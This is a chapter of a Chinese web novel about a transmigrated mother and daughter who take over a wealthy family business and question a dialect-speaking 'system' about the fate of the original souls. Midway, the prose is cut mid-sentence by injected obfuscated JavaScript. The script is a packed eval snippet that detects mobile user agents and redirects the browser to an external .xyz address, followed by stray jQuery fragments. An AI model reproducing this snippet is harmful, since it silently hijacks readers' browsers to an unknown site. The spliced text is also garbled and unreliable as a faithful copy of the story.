“乔远悠又是什么,唔。”
那个最先说话的守卫,听到这个名字头皮都炸开了,半秒不敢犹豫捂住了另一个守卫的嘴。
这个鼻孔看人的关系户不要九族,他还要呢!
“王妃恕罪,草民罪该万死。”
“景星,进。”
王妃并没有太在意这两个小守卫,言明当下的正事。
救家主要紧,景星抬脚就将两人高的大门踹开。
门外众人一拥而上,不过几息之间,混战的人群被压制到一旁。
如此,当中将板凳挥得虎虎生风的阎月英便没了阻挡,完全现于阎祈平眼前。
阎祈平忽然意识到一件事,妈妈原先的柔弱好性子,或许只是受心脏限制,不得不以更虚弱的样子保证生存。
但古代阎月英的体质就不同了,身强体壮嗓门大,魂穿到此,妈妈的天性大抵是释放了。
被砸裂的板凳腿飞到阎祈平脚边,阎月英的视线也随它跟了过来。
看到女儿的第一眼,她立刻就冷静了下来,这才发现周围多了许多人。
阎家磊落重义,在阎祈平到达前,闻讯赶来帮忙的管事船头工匠们不在少数,阎月英许是被大家的朴实情义感染,不管了不顾了抄起板凳就是干。
等大家找了仅剩的桌椅坐下,担心自己刚刚的莽撞给女儿带来不良影响,阎月英有些拘谨地想解释情况,王妃看出这一点,出言安抚:
“阎姥向来是性情中人,能理解能理解。再者说了,如今我们是一家人,不必说两家话。”
“王妃说的正是本王想的。既如此,本王与王妃就不打扰阎姥收拾杂碎了,这儿的动静也不小,本王还得尽早进宫向陛下说明。”
几个主犯,全然没了一开始拔刀剁桌,生死置之度外的样子,阎月英几人交谈时,这些人伤口也不敢捂,窝窝囊囊跪在那里。
勇亲王口中“陛下”两个重音,更是带着十足十的分量砸得他们一哆嗦。
见震慑到位,王爷两口子放心离开,主要是他们确实着急进宫向皇帝侄子解释情况,亲王调兵的缘由,得细细想了好好说。
毁约背主者,随勇亲王夫妻的退场,被兵马司将士押走。
留下的人们,听周围渐渐没了声响,三三两两抬头望向阎月英,等着领导发话。
阎月英两辈子也没有见过这场面,刚刚气血上涌逼急了抡几下人还行,现在是真应付不来。
沉默之下,阎祈平打算上前替妈妈解围,只是刚踏出一步,熟悉的黑暗又将她包围。
这一次,系统将母女二人一同拉出了过来。
【俺说啊,俺去问过领导咧,恁想知道的俺都能告诉恁。】
阎祈平上前,将妈妈护到身后,打量了一眼半空中那个珍珠球。
“你能暂停时空,还能随时把我们带到这里,就这样你的前主人还失败了?”
【这个啊?两码事儿。俺光管把恁几个从这个世界鼓捣出来,因为恁都不是这埝儿的人,这活儿才能办成啵。】
阎祈平见系统果然说话比先前详细一些了,虽不知它的领导是谁,她得趁现在多套点话。
“那你说说吧,古代的阎家母女,现在去哪了?”
【咱这么回事儿啊,俺一板儿一眼地给恁拉拉,是这么个景儿......】
在系统滑溜溜的语调中,阎祈平母女大致得知了真相。
古代阎祈平绝望之时,偶然触发了系统的有求必应获得重生,重生后需完成“复生”任务,即冬泳后抗过高烧活下来,才能算彻底结束。
却不曾想,好不容易挨过发烧,后遗症让她命不久矣。面临绝望,古代阎祈平却并没有丧气,她抓紧部署好周围人的未来,只是如何让母亲摆脱被抄家的命运,她却一直没有头绪。
直到一日,勇亲王世子在山头朗读的话本给了她灵感,古代阎祈平再次找来系统,实现她找另一个人进自己的身体,替自己复仇的愿望。
而这一回的代价,是她的灵魂。
【俺那会儿汇报咧领导,领导非得要她那魂儿,结果叫她娘听见咧。她娘不愿意,非使自家魂儿顶替闺女。】
“所以,她们现在,魂飞魄散了?”阎月英有些揪心。
【恁别胡咧咧。领导原话儿说要魂儿,这乎儿俩人都在领导手底下干活儿啵。就是闺女合同期短丁点儿,她娘的合同长么点儿。】
“那我的噩梦,和偶尔的幻觉,是怎么回事?”阎祈平的话,让阎月英刚放下的心又有些担忧起来。
【甭操心,这都是身子里存的前世记忆,待阵子自个儿就没咧。】
“这样,那如果我想知道她们前世的事情呢?”
【恁有啥直接问俺就行,俺后尾儿不离窝。】
......
等阎家母女回原地,她们还未消化完脑中的信息,在确认二人前世的死亡并非系统所为后,心中只剩唏嘘。
阎月英知道了个中故事,此时竟不再慌张,她环视四周心思各异的人。
“他们说我老了,成天想着回家照顾孩子,拼不动了。我不否认。我的女儿,我唯一的家人差点死了啊!同样的,我也将大家视为家人,这是我阎月英敢永远担保的事!其他的,真觉得我这儿没前途了,这三天内,自己收拾东西走人,我不追究。”
“走!都走好了!在座的谁不是看着东家一路走来的,就凭几个白眼狼狗叫两声,你们就都忘了东家对我们的好了?”
“封叔,挨千刀的不都抓去报官了吗?这儿不都自己人。”
“是啊封叔,狼哪会狗叫。”
“扑哧。”
“笑了,少东家笑了,你们得记我一功!”
从阎祈平开始,大家笑作一团,张萧散也被这气氛感染,回家的途中嘴角弯了一路。
“今天多谢,晚些时候,我再去向母亲父亲道谢。”
“没事,你忙你的,他们进宫要聊一会儿的。”
张萧散说得轻松,仿佛这样的事常常发生。皇宫中,勇亲王夫妻瑟缩在皇帝跟前,而上首的皇帝一手撑头揉着太阳穴,看起来十分头疼。
随着皇帝无奈叹气一声,本就是装鹌鹑的两口子立刻眉开眼笑。接着诧异地接过一道圣旨。
“皇上,您替王爷劳神了许多。”皇后抚上皇帝的头,替他按了按,未尽之意是,王
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16523170|186305||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
爷却还是疏远。
“不怪他们,先帝自小吓唬皇叔,才有了他这谨小慎微的性子。朕就当,替父还债吧。”
皇帝的目光透过御书房的琉璃窗望向天空,仿佛看到了他的老顽童父皇。
同样在书房望着天,思索着什么的,还有阎月英。
这一大帮人,好几张嘴,都指着自己家的生意吃饭呢。自己可得好好想办法弄好这些营生。
听到敲门声,她理了理衣襟,严肃了神色,此时已经有了些家主的风范。
“进。”
“妈,你没事吧。”
“祈平!你怎么这时候过来了?”
“我今天本来就没什么事。别说我了,妈你昨天说找我说什么?”
阎月英闻言一拍掌,兴奋地拉着闺女走到桌旁。
“三个好消息。一个,妈得了副好身体,不止,还有师傅教我武术。现在就这桌子,我就这么一抱。”
书房的实木方桌应声而起,看得阎祈平瞪大了眼睛不敢呼吸,怕自己多一个动作妈妈就稳不住身子。
但这对现在的阎月英来说,确实不过是抬抬手的事。
随着桌子落地,她继续说道:“二一个,家里虽然只剩我们母女俩,但手底下不老少员工呢,那产业遍布全国各地呀。还有还有,咱家好——————些钱呢!”
接过账本时,阎祈平还没有意识到,是多少钱能让妈妈如此兴奋。
直到她走出家门,那些竖向的繁体字记载的天文数字,依旧在她脑中挥之不去。
若是以前,这些换成纸币拿来烧火,都能供好几辈子暖的钱,是阎祈平做梦也不敢梦的。现在真真实实能拿来花了,她却不见有多喜悦。
富可敌国的家族只剩母女二人,在外人眼中,是多大一块肥肉啊。
想到这里,阎祈平脑中灵光一闪而过,或许阎家的灭亡,可以顺这个思路调查。
【仇家现身咧,就在对过儿。恁先悄摸儿瞅摸瞅摸啵?】
系统如今被她簪在头上,按照它的话,阎祈平望向河对面。
一身青蓝色长袍的男人,正坐在茶馆内翻着书。
眉目明秀,一双桃花眼,只随意扫两下书上的字句,便觉他在专注凝望深爱之人。纤指玉骨,看着人模人样,卖妻求荣吃绝户的事可是一样没少做。她记得,这人好像叫傅兴瀚,不知谁给他起的名字,倒是很有远见。
一路陪着阎祈平的景星,只当是自家小姐想散步,但见她偷看傅家公子,心中不免有些忧心。
景星并不知道,自家小姐正和一个如鬼神的系统,聊着她听不到的事。
“上次我忘了问了,这事算是我帮你和你前主人干活吧。我就没什么好处吗?”
【好处那肯定有啊,帮人复活这事儿可是百年不遇。再跟恁掏心窝子,有求必应本就是俺的活儿,算工分儿的。恁帮俺把前东家的尾活儿收拾利索喽,往后恁有啥麻缠事儿,俺真心上心给恁琢磨辙!】
不知是不是方言的加成,这系统的话显得格外实诚,阎祈平默默听着,边不动声色继续打量对面渐渐过桥靠近的男人。
等等。
靠近?!